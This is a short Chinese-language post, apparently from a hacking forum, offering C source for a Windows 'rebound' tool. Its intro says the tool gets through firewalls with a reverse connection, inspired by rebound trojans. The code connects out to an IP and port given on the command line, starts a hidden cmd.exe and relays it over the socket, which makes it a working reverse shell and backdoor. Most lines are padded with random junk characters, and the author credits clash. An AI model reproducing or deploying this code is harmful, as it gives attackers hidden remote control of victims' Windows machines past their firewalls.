这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -Q ];o~
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/* ============================== OGq=OW
Rebound port in Windows NT L[Wi[S6=)g
By wind,2006/7 FEBRUk6.h
===============================*/ tlI]);iE,
#include *ODc[k'(
#include ]J/;Xp
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#pragma comment(lib,"wsock32.lib") !L/.[:X
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void OutputShell(); )]m4FC:
SOCKET sClient; Uf?+oc'{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gAsjkNt?
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void main(int argc,char **argv) )[yKO
{ &iy7It
WSADATA stWsaData; f&&Ao
int nRet; C?6q]k]r
SOCKADDR_IN stSaiClient,stSaiServer; VwXR,(
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if(argc != 3) ?4R q +
{ gs~u8"B
printf("Useage:\n\rRebound DestIP DestPort\n"); piIGSC
return; (?.h<v1}
} B\;fC's+
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WSAStartup(MAKEWORD(2,2),&stWsaData); F0kQ/x
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *$mb~k^R
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stSaiClient.sin_family = AF_INET; Jr>Nc}!U
stSaiClient.sin_port = htons(0); ^{E_fQJX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M?['HoRo
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 90H/Txq
{ Lr`Gyl62
printf("Bind Socket Failed!\n"); wvr`~ e
return; -W|~YK7e
} LXR>M>a`
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stSaiServer.sin_family = AF_INET; PK_2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y)M-?|4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ow-;WO_HQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a4q02 cV
{ &kH7_Lz
printf("Connect Error!"); =v{ R(IX%
return; -^rdB6O6j
} A=*6|1w;
OutputShell(); Imo?)dYK
} ~AF'
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void OutputShell() obgO-d9l
{ Ti#x62X{
char szBuff[1024]; X:
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SECURITY_ATTRIBUTES stSecurityAttributes; Maiy d
OSVERSIONINFO stOsversionInfo; a]I~.$G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M%Q_;\?]
STARTUPINFO stStartupInfo; AJP-7PPD
char *szShell; gO]8hLT
PROCESS_INFORMATION stProcessInformation; :1#$p
unsigned long lBytesRead; g_"B:DR
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9*CRMkPrd
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z7Z!wIzJ
stSecurityAttributes.lpSecurityDescriptor = 0; pWb8X}M
stSecurityAttributes.bInheritHandle = TRUE; l!}7GWj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1.a:iweN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tA
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c{i\F D
stStartupInfo.wShowWindow = SW_HIDE; q6P5:@
stStartupInfo.hStdInput = hReadPipe; D:N\K/p
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pEb/ yIT"
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GetVersionEx(&stOsversionInfo); 70nBC
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switch(stOsversionInfo.dwPlatformId) 2(Nf$?U@0
{ cvV8;
case 1: d ?,wEfwp
szShell = "command.com"; <!?ZH"F0
break; t&G #%
default: 1kh()IrA
szShell = "cmd.exe"; ^pocbmg
break; (abtCuZ8z
} >i2WYT
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;O({|mpS\
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send(sClient,szMsg,77,0); =>xyJ->R
while(1) d s}E|Q
{ e.;B?0QrV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iUf?MDE
if(lBytesRead) "u"?~
{ tLGNYW!K
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j<A; i
send(sClient,szBuff,lBytesRead,0); +?0r%R%\
} m$$sNPnT
else %D+NrL(
{ XC,by&nY<y
lBytesRead=recv(sClient,szBuff,1024,0); %lGg}9k'
if(lBytesRead<=0) break; TnPx.mwK\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4'L.I%#tZ
} <!~NG3KW[>
} &3YXDNm
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return; ZV~9{E8
}